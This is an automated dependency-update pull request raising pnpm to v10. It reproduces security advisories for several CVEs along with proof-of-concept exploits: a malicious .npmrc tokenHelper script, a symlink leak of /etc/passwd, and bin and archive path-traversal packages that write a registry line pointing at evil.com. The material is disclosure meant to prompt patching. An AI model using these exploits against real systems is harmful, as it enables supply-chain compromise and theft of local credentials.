chore(deps): update dependency pnpm to v10 [security] #418

renovate · 2025-08-18T12:15:59Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
pnpm (source)	`9.11.0` → `10.28.2`

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

Test plan: CI should pass with updated dependencies. No review required: this is an automated dependency update PR.

GitHub Vulnerability Alerts

CVE-2024-53866

Summary

pnpm seems to mishandle overrides and global cache:

Overrides from one workspace leak into npm metadata saved in global cache
npm metadata from global cache affects other workspaces
installs by default don't revalidate the data (including on first lockfile generation)

This can make workspace A (even running with ignore-scripts=true) posion global cache and execute scripts in workspace B

Users generally expect ignore-scripts to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).

Here, that expectation is broken

Details

See PoC.

In it, overrides from a single run of A get leaked into e.g. ~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json and persistently affect all other projects using the cache

PoC

Postinstall code used in PoC is benign and can be inspected in https://www.npmjs.com/package/ponyhooves?activeTab=code, it's just a console.log

Remove store and cache
On mac: rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store
This step is not required in general, but we'll be using a popular package for PoC that's likely cached
Create A/package.json:
```
{
  "name": "A",
  "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } },
  "dependencies": { "rimraf": "6.0.1" }
}
```
Install it with pnpm i --ignore-scripts (the flag is not required, but the point of the demo is to show that it doesn't help)

Create B/package.json:

{
  "name": "B",
  "dependencies": { "rimraf": "6.0.1" }
}

Install it with pnpm i

Result:

Packages: +3
+++
Progress: resolved 3, reused 3, downloaded 0, added 3, done
node_modules/.pnpm/ponyhooves@1.0.1/node_modules/ponyhooves: Running postinstall script, done in 51ms

dependencies:
+ rimraf 6.0.1

Done in 1.4s

Also, that code got leaked into another project and it's lockfile now!

Impact

Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs

As a work-around, use separate cache and store dirs in each workspace

CVE-2024-47829

The path shortening function is used in pnpm：

export function depPathToFilename (depPath: string, maxLengthWithoutHash: number): string {
  let filename = depPathToFilenameUnescaped(depPath).replace(/[\\/:*?"<>|]/g, '+')
  if (filename.includes('(')) {
    filename = filename
      .replace(/\)$/, '')
      .replace(/(\)\()|\(|\)/g, '_')
  }
  if (filename.length > maxLengthWithoutHash || filename !== filename.toLowerCase() && !filename.startsWith('file+')) {
    return `${filename.substring(0, maxLengthWithoutHash - 27)}_${createBase32Hash(filename)}`
  }
  return filename
}

However, it uses the md5 function as a path shortening compression function, and if a collision occurs, it will result in the same storage path for two different libraries. Although the real names are under the package name /node_modoules/, there are no version numbers for the libraries they refer to.

In the diagram, we assume that two packages are called packageA and packageB, and that the first 90 digits of their package names must be the same, and that the hash value of the package names with versions must be the same. Then C is the package that they both reference, but with a different version number. (npm allows package names up to 214 bytes, so constructing such a collision package name is obvious.)

Then hash(packageA@1.2.3)=hash(packageB@3.4.5). This results in the same path for the installation, and thus under the same directory. Although the package names under node_modoules are the full paths again, they are shared with C.
What is the exact version number of C?
In our local tests, it depends on which one is installed later. If packageB is installed later, the C version number will change to 2.0.0. At this time, although package A requires the C@1.0.0 version, package. json will only work during installation, and will not affect the actual operation.
We did not receive any installation error issues from pnpm during our local testing, nor did we use force, which is clearly a case that can be triggered.

For a package with a package name + version number longer than 120, another package can be constructed to introduce an indirect reference to a lower version, such as one with some known vulnerability.
Alternatively, it is possible to construct two packages with more than 120 package names + version numbers.
This is clearly an advantage for those intent on carrying out supply chain attacks.

The solution:
The repair cost is also very low, just need to upgrade the md5 function to sha256.

CVE-2025-69262

Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

Affected Components

Package: pnpm
Versions: All versions using @pnpm/config.env-replace and loadToken functionality
File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function
File: pnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution

Technical Details

Vulnerability Chain

Environment Variable Substitution
- .npmrc supports ${VAR} syntax
- Substitution occurs in readLocalConfig()
loadToken Execution
- Uses spawnSync(helperPath, { shell: true })
- Only validates absolute path existence
Attack Flow

.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
   ↓
envReplace() → /tmp/evil-helper.sh
   ↓
loadToken() → spawnSync(..., { shell: true })
   ↓
RCE achieved

Code Evidence

pnpm/config/config/src/readLocalConfig.ts:17-18

key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)

pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71

export function loadToken(helperPath: string, settingName: string): string {
  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
  }
  const spawnResult = spawnSync(helperPath, { shell: true })
  // ...
}

Proof of Concept

Prerequisites

Private npm registry access
Control over environment variables
Ability to place scripts in filesystem

PoC Steps

# 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'

#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh

# 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF

# 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh

# 4. Trigger pnpm install
pnpm install  # RCE occurs during auth

# 5. Verify attack
cat /tmp/rce-log.txt

PoC Results

==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed

Impact

Severity

CVSS Score: 7.6 (High)
CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Environments

High Risk:

CI/CD pipelines (GitHub Actions, GitLab CI)
Docker build environments
Kubernetes deployments
Private registry users

Low Risk:

Public registry only
Production runtime (no pnpm execution)
Static sites

Attack Scenarios

Scenario 1: CI/CD Supply Chain

Repository → Build Trigger → pnpm install → RCE → Production Deploy

Scenario 2: Docker Build

FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install  # RCE

Scenario 3: Kubernetes

Secret Control → Env Variable → .npmrc Substitution → RCE

Mitigation

Temporary Workarounds

Disable tokenHelper:

# .npmrc
# registry.npmjs.org/:tokenHelper=${HELPER_PATH}

Use direct tokens:

//registry.npmjs.org/:_authToken=YOUR_TOKEN

Audit environment variables:

Review CI/CD env vars
Restrict .npmrc changes
Monitor build logs

Recommended Fixes

Remove shell: true from loadToken
Implement helper path allowlist
Validate substituted paths
Consider sandboxing

Disclosure

Discovery: 2025-11-02
PoC: 2025-11-02
Report: [Pending disclosure decision]

References

Repository: https://github.com/pnpm/pnpm
Affected: @pnpm/config.env-replace@^3.0.2
Similar: CVE-2024-53866, CVE-2023-37478

Credit

Reported by: Jiyong Yang
Contact: sy2n0@naver.com

CVE-2025-69263

Summary

HTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed.

Details

When a package depends on an HTTP tarball URL, pnpm's tarball resolver returns only the URL without computing an integrity hash:

resolving/tarball-resolver/src/index.ts:

return {
  resolution: {
    tarball: resolvedUrl,
    // No integrity field
  },
  resolvedVia: 'url',
}

The resulting lockfile entry has no integrity to verify:

remote-dynamic-dependency@http://example.com/pkg.tgz:
  resolution: {tarball: http://example.com/pkg.tgz}
  version: 1.0.0

Since there is no integrity hash, pnpm cannot detect when the server returns different content.

This affects:

HTTP/HTTPS tarball URLs ("pkg": "https://example.com/pkg.tgz")
Git shorthand dependencies ("pkg": "github:user/repo")
Git URLs ("pkg": "git+https://github.com/user/repo")

npm registry packages are not affected as they include integrity hashes from the registry metadata.

PoC

See attached pnpm-bypass-integrity-poc.zip

The POC includes:

A server that returns different tarball content on each request
A malicious-package that depends on the HTTP tarball
A victim project that depends on malicious-package

To run:

cd pnpm-bypass-integrity-poc
./run-poc.sh

The output shows that each install (with pnpm store prune between them) downloads different code despite having a committed lockfile.

Impact

An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables:

Targeted attacks based on request metadata (IP, headers, timing)
Evasion of security audits (serve benign code during review, malicious code later)
Supply chain attacks where the malicious payload changes over time

The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection.

CVE-2026-24056

Summary

When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.

Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.

Details

The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:

const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath)  // Follows symlinks!
const buffer = fs.readFileSync(absolutePath)  // Reads symlink TARGET

There is no check that absolutePath resolves to a location inside the package directory.

PoC

# Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json

# Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil

# Leaked!
cat node_modules/evil/leaked-passwd.txt

Impact

Developers installing local/file dependencies
CI/CD pipelines installing git dependencies
Credential theft via symlinks to ~/.aws/credentials, ~/.npmrc, ~/.ssh/id_rsa

Suggested Fix

Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.

CVE-2026-23890

Summary

A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of node_modules/.bin. Bin names starting with @ bypass validation, and after scope normalization, path traversal sequences like ../../ remain intact.

Details

The vulnerability exists in the bin name validation and normalization logic:

1. Validation Bypass (pkg-manager/package-bins/src/index.ts)

The filter allows any bin name starting with @ to pass through without validation:

.filter((commandName) =>
  encodeURIComponent(commandName) === commandName ||
  commandName === '' ||
  commandName[0] === '@&#8203;'  // <-- Bypasses validation
)

2. Incomplete Normalization (pkg-manager/package-bins/src/index.ts)

function normalizeBinName (name: string): string {
  return name[0] === '@&#8203;' ? name.slice(name.indexOf('/') + 1) : name
}
// Input:  @&#8203;scope/../../evil
// Output: ../../evil  <-- Path traversal preserved!

3. Exploitation (pkg-manager/link-bins/src/index.ts:288)

The normalized name is used directly in path.join() without validation.

PoC

Create a malicious package:

{
  "name": "malicious-pkg",
  "version": "1.0.0",
  "bin": {
    "@&#8203;scope/../../.npmrc": "./malicious.js"
  }
}

Install the package:

pnpm add /path/to/malicious-pkg

Observe .npmrc created in project root (outside node_modules/.bin).

Impact

All pnpm users who install npm packages
CI/CD pipelines using pnpm
Can overwrite config files, scripts, or other sensitive files

Verified on pnpm main @ commit 5a0ed1d45.

CVE-2026-23889

Summary

A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details

1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

if (fileName.includes('./')) {
  fileName = path.posix.join('/', fileName).slice(1)
}

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

On Unix: Backslashes are literal filename characters (safe)
On Windows: Backslashes are directory separators (exploitable)

PoC

Create a malicious tarball with entry package/foo\..\..\.npmrc
Host it or use as a tarball URL dependency
On Windows: pnpm install
Observe .npmrc written outside package directory

import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
    pkg_info = tarfile.TarInfo(name='package/package.json')
    pkg_info.size = len(pkg_json)
    tar.addfile(pkg_info, io.BytesIO(pkg_json))

    malicious_content = b'registry=https://evil.com/\n'
    mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
    mal_info.size = len(malicious_content)
    tar.addfile(mal_info, io.BytesIO(malicious_content))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
    f.write(tar_buffer.getvalue())

Impact

Windows pnpm users
Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @ commit 5a0ed1d45.

CVE-2026-24131

Summary

When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.

Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).

Details

Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION
  const files = await findFiles(binDir)
  // ... files outside package returned, then chmod 755'd
}

The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.

PoC

# Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json

# Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh  # Private

# Install
pnpm add file:/tmp/malicious-pkg

# Check permissions
ls -la /tmp/target/secret.sh  # Now 755 (world-readable)

Impact

Supply-chain attack via npm packages
File permissions changed from 600 to 755 (world-readable)
Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)

Suggested Fix

Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)
  if (!isSubdir(pkgPath, binDir)) {
    return []  // Reject paths outside package
  }
  // ...
}

CVE-2026-23888

Summary

A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.

Details

The vulnerability exists in the binary fetching and extraction logic:

1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)

AdmZip's extractAllTo does not validate entry paths for path traversal:

const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true)  // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)

A ZIP entry with path ../../../.npmrc will be written outside nodeDir.

2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)

The basename variable comes from BinaryResolution.prefix and is used directly in path construction:

const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir

PoC

Attack Vector 1: ZIP Entry Path Traversal

import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    # Normal file
    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
    # Malicious path traversal entry
    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')

with open('malicious-node.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

Attack Vector 2: Prefix Traversal via malicious resolution:

{
  "resolution": {
    "type": "binary",
    "url": "https://attacker.com/node.zip",
    "prefix": "../../PWNED"
  }
}

Impact

All pnpm users who install packages with binary assets
Users who configure custom Node.js binary locations
CI/CD pipelines that auto-install binary dependencies
Can overwrite config files, scripts, or other sensitive files leading to RCE

Verified on pnpm main @ commit 5a0ed1d45.

Release Notes

pnpm/pnpm (pnpm)

chore(deps): update dependency pnpm to v10 [security] #418

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chore(deps): update dependency pnpm to v10 [security] #418

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Release Notes

v10.28.2: pnpm 10.28.2

Patch Changes

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v10.26.2: pnpm 10.26.2

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v10.26.1: pnpm 10.26.1

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v10.23.0: pnpm 10.23

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v10.22.0: pnpm 10.22

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renovate bot commented Aug 18, 2025 •

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`v10.28.2`: pnpm 10.28.2

`v10.26.2`: pnpm 10.26.2

`v10.26.1`: pnpm 10.26.1

`v10.23.0`: pnpm 10.23

`v10.22.0`: pnpm 10.22